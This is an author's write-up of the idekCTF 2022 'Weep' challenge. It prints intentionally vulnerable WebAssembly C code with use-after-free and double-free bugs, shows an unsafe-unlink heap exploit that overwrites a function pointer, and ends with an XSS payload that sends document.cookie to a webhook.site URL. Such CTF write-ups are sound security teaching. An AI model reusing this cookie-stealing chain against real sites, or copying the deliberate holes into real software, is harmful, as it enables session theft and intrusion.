Last week, we hosted idekCTF 2022 and had a great turnout. One of my challenges, Weep - Pwn ended off with 8 solves. This is my author writeup

Preamble

This challenge is my attempt to show people a new type of pwn inside the WASM language. But actually, this technique of exploitation is not new and infact is has been explored 3 years ago

Initial Findings

Challenge files can be found here

Is this the browser exploitation you guys are all talking about?

There are only two files of main concern,


#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <emscripten.h>

#define MAX_NAME_LEN 10
#define MAX_TITLES 10

struct Title {
	char* name;
    int len;
};

void mrTitle(const char* name){
	char jsCode[100];
	sprintf(jsCode, "alert(\"Mr.%.10s\")", name);
	emscripten_run_script(jsCode);
}

void mrsTitle(const char* name){
	char jsCode[100];
	sprintf(jsCode, "alert(\"Mrs.%.10s\")", name);
	emscripten_run_script(jsCode);
}

struct Title titles[MAX_TITLES];

int numCalls = 0;
void (*title_fp)(const char*) = mrTitle;

void add(int idx, char* name) {
	if(idx < 0 || idx >= MAX_TITLES) return;
	titles[idx].len = strlen(name);
	titles[idx].name = strdup(name);
}

void delete(int idx) {
	if(idx < 0 || idx >= MAX_TITLES) return;
	free(titles[idx].name);
}

void edit(int idx, char* name) {
	if(idx < 0 || idx >= MAX_TITLES) return;
	strncpy(titles[idx].name, name, titles[idx].len);
}

void greet(int idx) {
	if(idx < 0 || idx >= MAX_TITLES) return;
	if(numCalls > 0) return;
	numCalls++;
	title_fp(titles[idx].name);
}

void setTitle(int val){
	if(val) title_fp = mrTitle;
	else title_fp = mrsTitle;
	if((long long)val == 0x1337133713371337) title_fp = emscripten_run_script;
}

// emcc -g main.c -o index.js -s EXPORTED_FUNCTIONS=_add,_delete,_edit,_greet,_setTitle -sEXPORTED_RUNTIME_METHODS=ccall,cwrap

<!DOCTYPE html>
<html>
	<script type="text/javascript" src="index.js"></script>
	<script>
		_add = Module.cwrap('add', null, ['number', 'string'])
		_delete = Module.cwrap('delete', null, ['number'])
		_edit = Module.cwrap('edit', null, ['number', 'string'])
		_greet = Module.cwrap('greet', null, ['number'])
		_setTitle = Module.cwrap('setTitle', null, ['number'])

		Module.onRuntimeInitialized = function() {
			if(location.hash.length > 1){
				var payload = JSON.parse(atob(location.hash.slice(1)))
				if(Array.isArray(payload)) {
					for(var i=0; i<payload.length; i++){
						if(!Array.isArray(payload[i])) break;
						var op = payload[i][0]
						switch(op){
						case 0: // add
							if(payload[i].length != 3) break
							if(typeof payload[i][1] !== 'number') break
							if(typeof payload[i][2] !== 'string') break
							_add(payload[i][1],payload[i][2])
							break
						case 1: // delete
							if(payload[i].length != 2) break
							if(typeof payload[i][1] !== 'number') break
							_delete(payload[i][1])
							break
						case 2: // edit
							if(payload[i].length != 3) break
							if(typeof payload[i][1] !== 'number') break
							if(typeof payload[i][2] !== 'string') break
							_edit(payload[i][1], payload[i][2])
							break
						case 3: // greet
							if(payload[i].length != 2) break
							if(typeof payload[i][1] !== 'number') break
							_greet(payload[i][1])
							break
						case 4: // setTitle
							if(payload[i].length != 2) break
							if(typeof payload[i][1] !== 'number') break
							_setTitle(payload[i][1])
							break
						}
					}
				}
			}
        }

        var cur = []

        function update(val) {
        	cur.push(val)
        	var payload = btoa(JSON.stringify(cur))
        	document.getElementById('payload').innerText = payload
        }

        function addFunc(){
        	var idx = parseInt(document.getElementById('add-idx').value)
        	var name = document.getElementById('add-name').value
        	_add(idx, name)
        	update([0, idx, name])
        }

        function deleteFunc(){
        	var idx = parseInt(document.getElementById('delete-idx').value)
        	_delete(idx)
        	update([1, idx])
        }

        function editFunc(){
        	var idx = parseInt(document.getElementById('edit-idx').value)
        	var name = document.getElementById('edit-name').value
        	_edit(idx, name)
        	update([2, idx, name])
        }

        function greetFunc(){
        	var idx = parseInt(document.getElementById('greet-idx').value)
        	_greet(idx)
        	update([3, idx])
        }

        function setTitleFunc(){
        	var idx = parseInt(document.getElementById('setTitle-idx').value)
        	_setTitle(idx)
        	update([4, idx])
        }

	</script>
	<h1>Add name</h1>
	<input type="number" id="add-idx" placeholder="index">
	<input type="text" id="add-name" placeholder="name">
	<button onclick="addFunc()">Submit</button>
	<h1>Delete name</h1>
	<input type="number" id="delete-idx" placeholder="index">
	<button onclick="deleteFunc()">Submit</button>
	<h1>Edit name</h1>
	<input type="number" id="edit-idx" placeholder="index">
	<input type="text" id="edit-name" placeholder="name">
	<button onclick="editFunc()">Submit</button>
	<h1>Greet name</h1>
	<input type="number" id="greet-idx" placeholder="index">
	<button onclick="greetFunc()">Submit</button>
	<h1>Set Greet Title (Mr/Mrs)</h1>
	<input type="number" id="setTitle-idx" placeholder="index">
	<button onclick="setTitleFunc()">Submit</button>
	<h1>Payload</h1>
	<div id='payload'></div>

	Found an issue? <a href="/admin.html">Click me</a>
</html>

The challenge also includes a link to submit whatever payload you like to an admin bot with cookies that contain the flag

So how do we exploit this?

Pwning like it’s the 1990s

So, if you are familiar with binary exploitation, here is what you need to know about main.c

  • emscripten_run_script is equivalent to system, it will call _emscripten_run_script inside main.js whos input will be eval‘ed
  • add, delete, edit, greet, and setTitle are exported using emcc and main.js provides a wrapper to call each function

One other thing to note is _emscripten_run_script has been modified

function _emscripten_run_script(ptr) {
    var val = UTF8ToString(ptr)
    if(val.length > 23){
        alert("Hacker alert!")
    }else{
        eval(val);
    }
}

Looking main.c, we see several different bugs, a UAF/double free in delete and edit, and a function pointers being used in setTitle and greet.

The attack plan is simple. corrupt the heap and overwrite title_fp to point to emscripten_run_script and then run arbritrary JS.

So, this is a classic heap pwn in challenge, but in WASM? How do we exploit this?

Here is where we learn the quirks of emcc.

  • Code is seperated from the data, meaning a buffer overflow cannot overwrite the return pointer but can still overwrite variables on the stack.
  • The memory layout is roughly as follows global variables | heap | stack
  • Memory starts from address 0x0
  • All addresses are deterministic, no ASLR or PIE.
  • There are still (i think) randomized cookies, but that does not matter in this challenge
  • There are no protections in the heap

Wait, what?

Running strings on the wasm file, we see it includes which files are used to compile the binary, and we see the dlmalloc implementation is used for all heap allocations. Here we clearly see the dlmalloc.c implementation includes checks for heap corruption, yet when attempting to allocate and double free a block, we do not see any assertion errors.

Infact, we can free as many times as we like.

Ok, so there are several different ways to abuse this. I chose to go classic and use unlink_chunk and our old friend, unsafe unlink.

payload = []

# Setup heap for unsafe unlinking
payload.append(_add(0, "A"*0x242))
payload.append(_add(1, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"))
payload.append(_add(2, "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"))
payload.append(_add(3, "alert('A')")) # js exploit
payload.append(_add(4, "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"))

# Free the second chunk
payload.append(_delete(2))
# UAF to overwrite 
payload.append(_edit(2, "R\x02\x01")) # address of `titles`
payload.append(_delete(1)) # Will overwrite titles[0].name to 0x10000
# The address of title_fp is at 0x10240

Here, we are able to overwrite title_fp with whatever we like. As title_fp is a function pointer, we should overwrite it with the address of emscripten_run_script. But what is the address of that function? In wasm, code does not live in a specific address, only data does. Thus, we are not able to jump to emscripten_run_script.

Unless, looking at setTitle, we see it is able to set title_fp with emscripten_run_script. So how is it able to do that?

local.get $var17
i32.eqz
br_if $label2
i32.const 3
local.set $var18
i32.const 0
local.set $var19
local.get $var19
local.get $var18
i32.store offset=66112

Here it stores 3 (emscripten_run_script) into 66112 (title_fp). What?

An explaination can be found here. But to put it simply, wasm contains a table of functions which will be used with a function pointer. To call with a function pointer, it’ll take the value in the function pointer, lookup the index, and jump to the function.

$ wasmTable.get(3)
ƒ $emscripten_run_script() { [native code] }

Great, so what we need to do is overwrite title_fp with 3 and it will call emscripten_run_script. We now have XSS!

payload.append(_edit(0, '\x03'*0x241))
payload.append(_greet(3))

But one limitation can be found inside emscripten_run_script.

function _emscripten_run_script(ptr) {
	var val = UTF8ToString(ptr)
	if(val.length > 23){
	alert("Hacker alert!")
	}else{
	eval(val);
	}
}

There is a length check for the size of the string you pass. Meaning we have a limited number of characters.

Some teams solved this using an unintended solution by using a short URL. import('https://URL')

Some other teams also solved this by reusing the UAF & double free to have a pointer to cnt and create their payloads incrementally.

My solution involved modifying the wasm heap from JS.

Here, emcc provides HEAP8 which represents the current memory state of our wasm program and we can modify the memory from here by doing

HEAP8[66128] = 0 // cnt = 0

From here, we can create our payload a few bytes at a time and get the flag.

payload += send("M[A]=0;B=\"location='//\"")
payload += send("M[A]=0;B+=\"webhook.si\"")
payload += send("M[A]=0;B+=\"te/217f3a94\"")
payload += send("M[A]=0;B+=\"-f513-4974-\"")
payload += send("M[A]=0;B+=\"a5c5-3ac7ed\"")
payload += send("M[A]=0;B+=\"d69d42/'+do\"")
payload += send("M[A]=0;B+=\"cument.cook\"")
payload += send("M[A]=0;eval(B+\"ie\")")

idek{Now_When_will_we_get_security_checks_in_the_heap_allocator?}

Full exploit script including notes and some helper functions can be found here.

Afterthoughts

This is a challenge that I have been meaning to make for a while now. The main point of this challenge is to show how other instruction formats are still vulnerable and the number of protections missing compared to a modern ELF binary.

Additionally, this challenge was inspired off of Blazing Fast by Ehhthing and Cyber Cook by Eth.